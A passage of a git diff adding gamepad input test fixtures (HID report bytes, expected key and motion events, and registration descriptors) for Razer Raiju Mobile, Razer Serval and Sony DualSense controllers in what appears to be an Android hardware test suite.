+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L3",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R3",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_HOME",
+    "reports": [
+      [0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_BACK",
+    "reports": [
+      [0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_motioneventtests.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_motioneventtests.json
new file mode 100644
index 0000000..2d802c9
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_motioneventtests.json
@@ -0,0 +1,214 @@
+[
+  {
+    "name": "Sanity check - should not produce any events",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0x01, 0x40, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x01, 0xc0, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0xff, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x40, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x00, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x01, 0x80, 0xc0, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0xff, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x40, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x00, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x01, 0x80, 0x80, 0xc0, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0xff, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0xff, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.51}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.0, "AXIS_BRAKE": 0.0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.0, "AXIS_GAS": 0.0}}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_register.json b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_register.json
new file mode 100644
index 0000000..81dd4b0
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_raiju_mobile_bluetooth_register.json
@@ -0,0 +1,22 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Razer Raiju Mobile(Bluetooth Test)",
+  "vid": 0x1532,
+  "pid": 0x0707,
+  "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
+        0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39,
+        0x15, 0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01,
+        0x81, 0x42, 0x65, 0x00, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0f, 0x15, 0x00, 0x25, 0x01, 0x75,
+        0x01, 0x95, 0x0f, 0x81, 0x02, 0x75, 0x0d, 0x95, 0x01, 0x81, 0x03, 0x05, 0x02, 0x09, 0xc5,
+        0x09, 0xc4, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00, 0x46, 0xff, 0x00, 0x75, 0x08, 0x95,
+        0x02, 0x81, 0x02, 0x06, 0x00, 0xff, 0x09, 0x21, 0x95, 0x02, 0x81, 0x02, 0x85, 0x03, 0x0a,
+        0x21, 0x27, 0x95, 0x2f, 0xb1, 0x02, 0xc0, 0x05, 0x0c, 0x09, 0x01, 0xa1, 0x01, 0x85, 0x02,
+        0x0a, 0x23, 0x02, 0x0a, 0x24, 0x02, 0x09, 0x40, 0x09, 0xe9, 0x09, 0xea, 0x09, 0x30, 0x09,
+        0x32, 0x0a, 0xa2, 0x01, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x75,
+        0x01, 0x95, 0x08, 0x81, 0x03, 0x75, 0x08, 0x95, 0x0a, 0x81, 0x01, 0xc0, 0x05, 0x01, 0x09,
+        0x00, 0xa1, 0x01, 0x85, 0x07, 0x09, 0x03, 0x15, 0x00, 0x26, 0xff, 0x00, 0x35, 0x00, 0x46,
+        0xff, 0x00, 0x75, 0x08, 0x95, 0x0c, 0x81, 0x00, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/razer_serval_homekey.json b/tests/tests/hardware/res/raw/razer_serval_homekey.json
new file mode 100644
index 0000000..0b39087
--- /dev/null
+++ b/tests/tests/hardware/res/raw/razer_serval_homekey.json
@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press HOME",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0xff],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0xff]
+    ],
+    "events": [
+    ]
+  }
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/razer_serval_register.json b/tests/tests/hardware/res/raw/razer_serval_register.json
index ab27177..64090c8 100644
--- a/tests/tests/hardware/res/raw/razer_serval_register.json
+++ b/tests/tests/hardware/res/raw/razer_serval_register.json
@@ -5,6 +5,7 @@
   "vid": 0x1532,
   "pid": 0x0900,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
   "descriptor": [
     0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x85, 0x01, 0x75, 0x08, 0x95, 0x04,
     0x15, 0x00, 0x26, 0xff, 0x00, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81,
diff --git a/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests.json
new file mode 100644
index 0000000..95f30bd
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualsense_bluetooth_keyeventtests.json
@@ -0,0 +1,301 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4a,
+        0x1a, 0x8a, 0xc9],
+        [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe5,
+        0x16, 0xab, 0x5b],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3d,
+        0x1f, 0x22, 0x6d],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x8f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfa,
+        0x09, 0x98, 0xa4],
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
+        0x1c, 0xba, 0x0e]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x31, 0x00, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00, 0x00, 0x0f, 0x01, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0xff, 0xff, 0xf2, 0xff, 0x04, 0x00, 0x00, 0x00, 0x8e, 0xff, 0x02, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85,
+        0x31, 0x8f, 0x81],
